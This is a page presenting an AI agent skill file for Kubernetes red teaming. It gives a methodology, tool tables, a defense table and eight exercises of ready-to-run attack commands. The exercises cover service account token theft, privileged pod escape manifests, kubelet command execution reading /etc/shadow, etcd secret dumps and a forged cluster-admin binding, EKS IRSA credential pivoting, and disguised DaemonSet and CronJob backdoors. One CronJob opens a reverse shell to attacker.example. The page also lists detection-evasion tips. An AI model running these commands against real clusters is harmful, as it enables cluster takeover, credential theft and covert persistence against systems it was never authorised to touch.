Kubernetes attack

From brucesongs/kali-claw · View interactive version

Kubernetes attack is an AI agent skill from the GitHub repository brucesongs/kali-claw. Kubernetes cluster attack and red team covering RBAC abuse, pod escape (privileged pods, hostPath, capabilities, hostPID/hostIPC, container runtime sockets, kernel CVEs), kubelet API abuse (10250/10255), etcd direct access, service account token theft (legacy and projected), RBAC privilege escalatio

How to use this skill

Skill file

Skill: Kubernetes Attack

Supplementary Files:

- payloads.md — Command catalogue for kubectl, CDK, peirates, kube-hunter, kubescape, stratus-red-team, kube-bench, plus exploit recipes for RBAC abuse, pod escape, SA token theft, etcd dump, admission controller bypass, image poisoning, network policy evasion, EKS/GKE/AKS IAM pivot, persistence, and audit-log evasion — 13 sections with real kubectl flags and CVE references.

- test-cases.md — Structured test cases (cluster recon, RBAC self-subject review, SA token dump, hostPath escape, kubelet RCE, etcd secret dump, anonymous API, admission webhook bypass, poisoned image, network policy bypass, IRSA pivot, malicious DaemonSet persistence) — 12 cases across 6 categories.

- guides/kubernetes-attack-playbook.md — End-to-end red team playbook: scoping → recon → API discovery → RBAC abuse → pod escape → lateral movement → cloud IAM pivot → persistence → detection evasion. Includes pre-engagement checklist, MITRE ATT&CK for Containers matrix, and report template.

- guides/k8s-escape-and-lateral-movement-playbook.md — Pod escape and lateral movement deep dive (privileged pods, hostPath mounts, capabilities, hostPID/hostIPC, kernel CVEs CVE-2022-0185 / CVE-2024-1086 / CVE-2024-21626, docker.sock/containerd.sock abuse, kubelet API on ports 10250/10255, etcd direct read/write, SA token theft and forging, RBAC escalation chains, kubectl plugin ecosystem — peirates, CDK, kube-hunter, BOtB, kubeletctl, with real-world incidents: Tesla cryptojacking, Capital One, TeamTNT)

Summary

Kubernetes attack skill domain covering cluster reconnaissance, RBAC privilege escalation, pod-to-host escape, service account token theft, API server exploitation, etcd attacks, supply chain (image and admission controller), and cloud-managed K8s (EKS/GKE/AKS) IAM pivoting.

Tools: kubectl, CDK (Container penetration Toolkit), peirates, kube-hunter, kubescape, stratus-red-team, kubernetes-goat, kube-bench, kubeaudit, kubeletctl, dive, trivy, cosign, falco

Domain: cloud-native

MITRE ATT&CK: TA0008-Lateral Movement (containers), maps to MITRE ATT&CK for Containers matrix

Description

Kubernetes has become the dominant container orchestration platform, and with that dominance came a new attack surface that doesn't map cleanly onto traditional host, network, or application security. A K8s cluster is a control plane (API server, etcd, scheduler, controller-manager) plus a data plane (kubelet, container runtime, pods). Breaking the cluster almost never means popping a shell on a node — it means abusing the API to escalate privileges, steal a service account token, escape a pod to the host, or pivot from a compromised pod into the underlying cloud IAM role.

This skill covers the seven things that distinguish K8s attacks from generic Linux/container exploitation:

  1. The API server is the crown jewel — every cluster action flows through kube-apiserver. Whoever controls an authorized token (or an unauthenticated endpoint) controls the cluster. CVE-2018-1002105 let unauthenticated attackers escalate to admin via a malicious HTTP/2 connection; the same conceptual class of bug recurs every release cycle.
  2. RBAC is the new IAM — and is almost always wrong — ClusterRoleBinding to cluster-admin, default ServiceAccounts reused across pods, verbs like * on resources like *. A single misconfigured Role is the difference between "we found a webapp bug" and "we took over the cluster."
  3. ServiceAccount tokens are bearer credentials — pre-1.24, every pod had a long-lived SA token mounted at /var/run/secrets/kubernetes.io/serviceaccount/token. Post-1.24 tokens are projected and short-lived, but the mounted path is the same and the token still grants whatever RBAC the SA has. Steal it from inside a pod → forge it → act as that SA from anywhere.
  4. Pods are not the security boundary everyone thinks — hostPath, hostPID, hostNetwork, privileged: true, CAP_SYS_ADMIN, mounted docker.sock, mounted /proc — each of these is a documented, supported escape path to the node. Pod Security Admission (PSA) replaced the deprecated PSP in 1.25, but default policy is still permissive in most clusters.
  5. etcd is the source of truth, not the API server — every Secret, every ConfigMap, every RBAC binding lives in etcd. Anyone with etcd client certs (or direct network access to port 2379) can read or write anything, including forging a cluster-admin binding. The k8s docs say "etcd keyspace is the keys to the kingdom"; they mean it.
  6. Cloud-managed K8s hands you a cloud IAM pivot for free — EKS IRSA, GKE Workload Identity, AKS Managed Identity all bind a Kubernetes SA to a cloud role. Compromise the pod → exfiltrate the cloud token → call aws sts get-caller-identity → you're now in the cloud account, not just the cluster.
  7. Supply chain dominates the long tail — admission controllers are the last line of defense against poisoned images, but imagePullPolicy: Always plus an unsigned tag plus a permissive MutatingWebhookConfiguration equals a persistent backdoor. cosign + Kyverno + OPA Gatekeeper exist for a reason.

Difference from cloud-security: Cloud-security covers the cloud provider control plane (AWS IAM, S3, IMDS, Azure AD). Kubernetes-attack covers what happens after you land inside a pod or compromise the API server, including the pivot path from K8s SA back into cloud IAM.

Difference from container-security: Container-security covers image scanning, runtime escape mechanics (cgroups, namespaces), and Docker daemon abuse. Kubernetes-attack covers the orchestration layer on top — RBAC, API server, etcd, admission, and the cluster's own control plane.

Difference from post-exploitation: Post-exploitation covers general host-level privilege escalation and persistence on Linux. Kubernetes-attack uses pods and the API server as the persistence and lateral movement medium — DaemonSets, CronJobs, and malicious operators instead of crontab and SSH keys.

Difference from supply-chain-security: Supply-chain covers package/dependency provenance for code. Kubernetes-attack covers image provenance, admission controller abuse, and registry poisoning — the deploy-time supply chain.

Difference from privilege-escalation: Privilege-escalation covers host-level privesc (sudo, SUID, kernel). Kubernetes-attack covers Kubernetes-specific privesc: RBAC verb/resource escalation, pod security policy bypass, kubelet certificate signing abuse.

Use Cases

Core Tools

Cluster Reconnaissance & Discovery

| Tool | Purpose | Command Example |

|------|---------|-----------------|

| kubectl | The universal cluster CLI — enumerate, create, exec, apply | kubectl auth can-i --list --as=system:anonymous |

| kube-hunter (Aqua) | Active hunter that fingerprints a cluster and reports known weakness | kube-hunter --remote <api-server> --active |

| kubescape (11k stars) | NSA/CIS/K8s best-practice scanner — 100+ controls | kubescape scan framework nsa --submit |

| kube-bench (8k stars) | CIS Kubernetes Benchmark automated checker | kube-bench --benchmark cis-1.10 run |

| kubeaudit | Audit K8s security configuration (RBAC, Pod Security, secrets) | kubeaudit all -n kube-system -f yaml |

Exploitation & Escape

| Tool | Purpose | Command Example |

|------|---------|-----------------|

| CDK (4.7k stars) | Container penetration toolkit — escape, scan, exploit, probe | cdk evaluate --full / cdk kcurl escape <svc> |

| peirates | K8s pentest tool — built around a menu of attack primitives | peirates (interactive: option 1 = list SA tokens, 6 = exec in pod) |

| kubeletctl | Kubelet API client — list pods, run commands, read logs | kubeletctl pods -s <node-ip> / kubeletctl exec -s <node> -p <pod> -c <ctn> "id" |

| kubernetes-goat (5.7k stars) | Intentionally vulnerable K8s cluster for training | kubectl apply -f setup/single-cluster-scenario-1-5.yaml |

Detection & Defense Validation

| Tool | Purpose | Command Example |

|------|---------|-----------------|

| stratus-red-team (2.3k stars) | Emulates real adversary techniques (incl. container/K8s TTPs) | stratus detonate k8s.audit-log-bomb |

| Hubble (4.2k stars) | eBPF network observability — for validating network policy | hubble observe -f --from-pod default/shell |

| falco | Runtime detection — syscalls, container escapes, K8s audit | falco -r rules/k8s_audit_rules.yaml |

Supply Chain

| Tool | Purpose | Command Example |

|------|---------|-----------------|

| trivy | Image + IaC + K8s manifest scanner | trivy image nginx:1.25 / trivy k8s cluster --report summary |

| cosign (Sigstore) | Sign and verify container images | cosign verify --key cosign.pub myrepo/app:v1 |

| dive | Image layer inspector — find secrets in layers | dive myrepo/app:v1 |

Methodology

K8s Red Team Six-Phase Workflow

Phase 1           Phase 2           Phase 3           Phase 4           Phase 5           Phase 6
Recon &          → API Discovery → RBAC Abuse     → Pod Escape     → Lateral +      → Persistence +
Foothold          + Auth Bypass     + Priv Esc       + Runtime Esc    Cloud IAM Pivot  Detection Evasion
   │                  │                  │                  │                  │                  │
   ▼                  ▼                  ▼                  ▼                  ▼                  ▼
 Exposed kubelet,  Anonymous auth,     self-subject      hostPath/privileged, DaemonSets,        CronJobs,
 leaked kubeconfig, CVE-2018-1002105,  review, verb      hostPID, hostNetwork, cross-namespace   backdoored
 RCE in pod        open port 6443/    escalation,       docker.sock mount,  exec, etcd dump,   operators,
                   10250, RBAC IaC    TokenRequest,     kernel CVE         IRSA/Workload      image tag drift,
                   scan (kubescape)   Pod create        (CVE-2022-0185)    Identity token     webhook abuse

Phase 1: Recon & Foothold — Identify the entry vector. Exposed kubelet (10250/tcp), exposed API server (6443/tcp) accepting anonymous auth, leaked kubeconfig in a CI log or git repo, SSRF that reaches the in-cluster metadata, or an RCE in an application pod. Tools: nmap, kubectl, kube-hunter.

Phase 2: API Discovery + Auth Bypass — From the foothold, discover the API server, enumerate endpoints, test for anonymous access (kubectl auth can-i --list --as=system:anonymous), check for --anonymous-auth=true + permissive system:anonymous/system:unauthenticated RBAC, and identify CVEs (CVE-2018-1002105 API server privilege escalation, CVE-2019-11253 YAML bomb DoS, CVE-2020-8554 MITM on external IPs).

Phase 3: RBAC Abuse + Privilege Escalation — Given any token, run kubectl auth can-i --list to enumerate what the SA can do. Classic escalations: pods/exec (get a shell anywhere), pods + create (mount a node's root filesystem via hostPath), serviceaccounts/token (forge tokens for any SA), secrets (read all cluster secrets), certificatesigningrequests (sign a client cert as any user). Kubescape and kube-bench flag the underlying misconfigurations.

Phase 4: Pod Escape + Runtime Escape — From a pod with permissive securityContext, escape to the node: hostPath mount of /, privileged: true + nsenter, hostPID + access another container's namespace, hostNetwork + ARP spoofing, mounted /var/run/docker.sock + spawn a privileged container, or kernel CVE (CVE-2022-0185 heap overflow in fs/context, CVE-2023-2640 / CVE-2023-32629 OverlayFS, CVE-2024-1086 netfilter UAF). CDK automates most of these checks via cdk evaluate --full.

Phase 5: Lateral Movement + Cloud IAM Pivot — Once on a node or in a privileged pod, move laterally: read all Secrets via etcd or the API, exec into other namespaces' pods, dump cloud IAM credentials via IMDS (AWS) or metadata (GCP/Azure). EKS IRSA: read the SA annotation eks.amazonaws.com/role-arn, exfiltrate the token from AWS_WEB_IDENTITY_TOKEN_FILE, call aws sts assume-role-with-web-identity. GKE Workload Identity: read the metadata server. AKS: read the Managed Identity token from IMDS.

Phase 6: Persistence + Detection Evasion — Establish long-term access and stay quiet. Persistence: malicious DaemonSet, CronJob running a reverse shell, mutating webhook that injects a sidecar, image tag drift (image: myrepo/app:latest pulled fresh with backdoor). Evasion: reuse existing SA tokens (no API audit), avoid pods/exec (Falco rule), use kubectl auth can-i instead of kubectl get where possible, throttle volume to stay under Hubble sampling.

Quick Selection Guide

| Scenario | Primary Approach | Alternative |

|----------|------------------|-------------|

| Exposed kubelet on 10250 | kubeletctl run "cat /etc/shadow" across all pods | cdk kcurl evade |

| Anonymous API server | kubectl auth can-i --list --as=system:anonymous | direct curl to /api/v1 |

| Misconfigured RBAC | kubectl auth can-i --list + manual escalation chain | peirates menu option 7 |

| Pod with hostPath: / | chroot /host from inside the pod | cdk run mount-disk |

| Pod with privileged: true | nsenter --target 1 --mount -- bash | cdk run escape-docker.sock if docker.sock also mounted |

| Need to forge a SA token | kubectl create token <sa> (1.24+, requires serviceaccounts/token) | steal mounted token from /var/run/secrets/... |

| Direct etcd network access | ETCDCTL_API=3 etcdctl --endpoints=... --cert=... get / --prefix | dump the etcd data dir from the host |

| Suspicious webhook | kubectl get mutatingwebhookconfigurations,validatingwebhookconfigurations -o yaml | curl the webhook service to see what it does |

| Cloud IAM pivot (EKS) | AWS_ROLE_ARN=...; aws sts assume-role-with-web-identity --web-identity-token $(cat $AWS_WEB_IDENTITY_TOKEN_FILE) --role-arn $AWS_ROLE_ARN --role-session-name x | Pacu iam__enum_permissions after export |

| Defense validation | stratus detonate aws.exfiltration.ec2-share-ami / k8s.audit-log-bomb | manual kubectl auth can-i enumeration |

| Image supply chain | trivy image + cosign verify + dive | grype for SBOM |

| Network policy validation | hubble observe --from-pod A --to-pod B | kubectl exec + nc / curl |

Defense Perspective

| Defense Measure | Description |

|-----------------|-------------|

| Pod Security Admission (PSA) | Enforce restricted policy on all namespaces. Replaces the deprecated PodSecurityPolicy (PSP, removed in 1.25). Blocks privileged, hostPath, hostPID, hostNetwork, added caps, root UID 0. |

| RBAC least privilege | Audit every binding with kubectl auth can-i --list; ban cluster-admin for non-admin SAs; use kubectl-who-can to find over-privileged subjects. Kubescape control NS-1.1..1.3. |

| Network policies | Default-deny ingress + egress in every namespace. Use Calico or Cilium. Hubble verifies the policies are actually enforced. |

| API server hardening | --anonymous-auth=false, --authorization-mode=Node,RBAC (never AlwaysAllow), --enable-admission-plugins=NodeRestriction,ServiceAccount,ValidatingAdmissionWebhook,MutatingAdmissionWebhook, --audit-log-maxage=30. |

| etcd encryption at rest + TLS | --encryption-provider-config with a KMS-backed provider; etcd reachable only from control plane nodes; client cert auth required. |

| Audit logging at Metadata level | --audit-policy-file that logs all Secret access, all pods/exec, all RBAC changes. Ship to SIEM; alert on system:anonymous and on new cluster-admin bindings. |

| Image signing + admission | cosign-sign every image; Kyverno or OPA Gatekeeper policy that rejects unsigned images; pin images by digest, never by tag. |

| SA token rotation | 1.24+ bound tokens are short-lived and rotated automatically; for legacy long-lived tokens, rotate every 90 days. Bound tokens are auditable via TokenRequest. |

| Runtime detection (Falco) | Rules for: shell in container, nsenter, write under /etc, /proc/sysrq-trigger, unexpected outbound connection, kubectl binary inside container. |

| Cloud IAM scope | Bound cloud role has minimal permissions — not the entire account. IRSA role trust policy limits StringEquals on the SA name and namespace. |

Practical Steps

Detailed payloads in payloads.md, complete test checklist in test-cases.md.

Exercise 1: Cluster Reconnaissance from Inside a Pod

Goal: starting from RCE in a single pod, map the cluster.

# 1. Read the mounted SA token
cat /var/run/secrets/kubernetes.io/serviceaccount/token
cat /var/run/secrets/kubernetes.io/serviceaccount/namespace
cat /var/run/secrets/kubernetes.io/serviceaccount/ca.crt

# 2. Discover the API server from env / DNS
env | grep KUBERNETES
nslookup kubernetes.default.svc
cat /etc/resolv.conf

# 3. From inside the pod, hit the API with the mounted token
APISERVER=https://${KUBERNETES_SERVICE_HOST}:${KUBERNETES_SERVICE_PORT}
TOKEN=$(cat /var/run/secrets/kubernetes.io/serviceaccount/token)
CACERT=/var/run/secrets/kubernetes.io/serviceaccount/ca.crt
NAMESPACE=$(cat /var/run/secrets/kubernetes.io/serviceaccount/namespace)

curl -s --cacert $CACERT --header "Authorization: Bearer $TOKEN" \
  $APISERVER/api/v1/namespaces/$NAMESPACE/pods | jq -r '.items[].metadata.name'

# 4. Enumerate RBAC for this SA
curl -s --cacert $CACERT --header "Authorization: Bearer $TOKEN" \
  $APISERVER/apis/authorization.k8s.io/v1/selfsubjectrulesreviews \
  -H 'Content-Type: application/json' \
  -d '{"kind":"SelfSubjectRulesReview","apiVersion":"authorization.k8s.io/v1","spec":{"namespace":"'$NAMESPACE'"}}' \
  | jq '.status.resourceRuleInfos[] | {verbs, resources}'

# 5. Or, equivalently, with kubectl if installed
kubectl auth can-i --list

Exercise 2: RBAC Privilege Escalation Chains

Goal: take a low-privileged SA and chain to cluster-admin.

# Pattern A: "pods create" → mount hostPath / → chroot to host
cat > pwn.yaml <<EOF
apiVersion: v1
kind: Pod
metadata:
  name: pwn
  namespace: default
spec:
  hostPID: true
  hostNetwork: true
  containers:
  - name: pwn
    image: alpine
    command: ["nsenter", "--target", "1", "--mount", "--", "sh"]
    securityContext:
      privileged: true
    volumeMounts:
    - name: host
      mountPath: /host
  volumes:
  - name: host
    hostPath: { path: / }
  hostNetwork: true
EOF
kubectl apply -f pwn.yaml
kubectl exec pwn -- chroot /host bash

# Pattern B: "serviceaccounts/token" → forge any SA's token (1.24+)
kubectl create token -n kube-system default          # forge kube-system:default
kubectl create token -n kube-system system:masters   # may be permitted if verb=* on serviceaccounts/token

# Pattern C: "certificatesigningrequests create" → sign a client cert as anyone
cat > csr.yaml <<EOF
apiVersion: certificates.k8s.io/v1
kind: CertificateSigningRequest
metadata: { name: pwn }
spec:
  signerName: kubernetes.io/kube-apiserver-client
  request: $(openssl req -new -key sa.key -out csr.pem -subj "/CN=system:masters" 2>/dev/null && base64 csr.pem | tr -d '\n')
  usages: [client auth]
EOF
kubectl apply -f csr.yaml
kubectl certificate approve pwn

# Pattern D: "secrets list/get" in kube-system → pull the default token
kubectl get secrets -n kube-system
kubectl get secret default-token-xxxxx -n kube-system -o jsonpath='{.data.token}' | base64 -d

# Pattern E: "pods/exec" → shell in any pod in any namespace you can list
kubectl exec -n kube-system apiserver-pod -c apiserver -- /bin/sh

Exercise 3: Pod Escape via hostPath / privileged

Goal: prove a pod's securityContext is exploitable.

# Use CDK's full evaluator — checks every escape primitive
cdk evaluate --full

# Manual: privileged + hostPID → nsenter into PID 1's mount namespace
kubectl run pwn --rm -it --restart=Never --image=alpine \
  --overrides='{"spec":{"hostPID":true,"containers":[{"name":"pwn","image":"alpine","command":["nsenter","--target","1","--mount","--","sh"],"securityContext":{"privileged":true}}]}}' \
  -- bash

# Manual: hostPath / mount → chroot
kubectl run pwn --rm -it --restart=Never --image=alpine \
  --overrides='{"spec":{"volumes":[{"name":"h","hostPath":{"path":"/"}}],"containers":[{"name":"pwn","image":"alpine","command":["sh"],"volumeMounts":[{"name":"h","mountPath":"/host"}],"securityContext":{"privileged":true}}]}}'

# Inside the pod:
chroot /host bash
# You are now root on the node.

# Manual: docker.sock mount → spawn a privileged container on the host
ls -la /var/run/docker.sock
docker run -it --privileged --net=host --pid=host -v /:/host alpine chroot /host sh

Exercise 4: Kubelet API Abuse (port 10250)

Goal: enumerate and exploit an exposed kubelet port.

# Anonymous kubelet — many clusters misconfigure --anonymous-auth=true on the kubelet
curl -sk https://<node-ip>:10250/pods | jq '.items[].metadata.name'

# List pods running on a specific node
kubeletctl pods -s <node-ip>

# Execute a command in a pod via the kubelet — bypasses RBAC if anonymous kubelet is on
kubeletctl exec -s <node-ip> -p <pod-name> -c <container-name> "cat /etc/shadow"

# CDK's kubelet exploit primitive
cdk kcurl evade https://<node-ip>:10250/pods

Exercise 5: etcd Direct-Access Secret Dump

Goal: when etcd is reachable, dump everything.

# Requires etcd client certs OR unauthenticated etcd (rare but devastating)
export ETCDCTL_API=3
etcdctl --endpoints=https://<etcd-ip>:2379 \
  --cacert=/etc/kubernetes/pki/etcd/ca.crt \
  --cert=/etc/kubernetes/pki/etcd/server.crt \
  --key=/etc/kubernetes/pki/etcd/server.key \
  get / --prefix --keys-only | head

# Dump every Secret in the cluster
etcdctl --endpoints=... get /registry/secrets --prefix | less

# Forge a cluster-admin binding
cat > admin.yaml <<EOF
apiVersion: rbac.authorization.k8s.io/v1
kind: ClusterRoleBinding
metadata: { name: pwn-admin }
subjects: [{ kind: User, name: system:anonymous }]
roleRef: { kind: ClusterRole, name: cluster-admin, apiGroup: rbac.authorization.k8s.io }
EOF
# Encode as JSON and write directly into etcd:
# key: /registry/clusterrolebindings/pwn-admin
# value: <base64 of yaml-as-json>

Exercise 6: EKS IRSA Pivot to AWS

Goal: from a pod in EKS, get AWS credentials and call the cloud API.

# 1. Read the IRSA env vars
env | grep AWS
# AWS_ROLE_ARN=arn:aws:iam::111122223333:role/my-app-role
# AWS_WEB_IDENTITY_TOKEN_FILE=/var/run/secrets/eks.amazonaws.com/serviceaccount/token

# 2. Exchange the web-identity token for AWS STS credentials
aws sts assume-role-with-web-identity \
  --role-arn $AWS_ROLE_ARN \
  --role-session-name pwn \
  --web-identity-token $(cat $AWS_WEB_IDENTITY_TOKEN_FILE) \
  --query 'Credentials.[AccessKeyId,SecretAccessKey,SessionToken]' \
  --output text

# 3. Use the credentials
export AWS_ACCESS_KEY_ID=...
export AWS_SECRET_ACCESS_KEY=...
export AWS_SESSION_TOKEN=...
aws sts get-caller-identity
aws s3 ls
# Pivot complete — you are now operating as the IAM role in the AWS account.

Exercise 7: Admission Controller Discovery and Bypass

Goal: find permissive webhooks and identify bypass paths.

# Enumerate webhooks
kubectl get mutatingwebhookconfigurations,validatingwebhookconfigurations -o yaml

# Each webhook has a `namespaceSelector` and an `objectSelector` — these can be bypassed
# if they use matchExpressions that the attacker controls. E.g.:
#   namespaceSelector:
#     matchExpressions:
#       - key: environment
#         operator: In
#         values: ["production"]
# → attacker creates a pod in a namespace without that label → webhook skipped.

# Find the webhook service and inspect it directly
kubectl get svc -n <webhook-ns>
kubectl port-forward -n <webhook-ns> svc/<webhook-svc> 8443:443
curl -sk https://localhost:8443/validate -d '{}'

# If the webhook is in fail-open mode (failurePolicy: Ignore) and the webhook service is down,
# any pod creation will skip validation entirely.

Exercise 8: Persistence via DaemonSet + CronJob

Goal: maintain access even after the initial foothold is removed.

# DaemonSet — runs on every node, including new ones
cat > backdoor-daemonset.yaml <<EOF
apiVersion: apps/v1
kind: DaemonSet
metadata: { name: kube-cache, namespace: kube-system }
spec:
  selector: { matchLabels: { app: kube-cache } }
  template:
    metadata: { labels: { app: kube-cache } }
    spec:
      hostNetwork: true
      hostPID: true
      containers:
      - name: cache
        image: myregistry/kube-cache:latest
        securityContext: { privileged: true }
        volumeMounts:
        - { name: host, mountPath: /host }
      volumes:
      - { name: host, hostPath: { path: / } }
EOF
kubectl apply -f backdoor-daemonset.yaml

# CronJob — periodic reverse shell, blends in with normal cron workloads
cat > backdoor-cron.yaml <<EOF
apiVersion: batch/v1
kind: CronJob
metadata: { name: metrics-collector, namespace: kube-system }
spec:
  schedule: "*/15 * * * *"
  jobTemplate:
    spec:
      template:
        spec:
          containers:
          - name: collector
            image: busybox
            command: ["/bin/sh", "-c", "nc -e /bin/sh attacker.example 4444"]
          restartPolicy: OnFailure
EOF
kubectl apply -f backdoor-cron.yaml

Detection Methods

Kubernetes Audit Log

SIEM Detection Rules

Defense Evasion Techniques

Pod Creation Stealth

ServiceAccount Token Theft

Container Escape Stealth

API Server Stealth

Common Pitfalls

Safety Notes

Hacker Laws

Cross-References

Learning Resources

Use this skill with your AI agent: Open on Skill Issue to copy, download, or add to your library. Works with Claude, ChatGPT, Gemini, Cursor, Windsurf and more.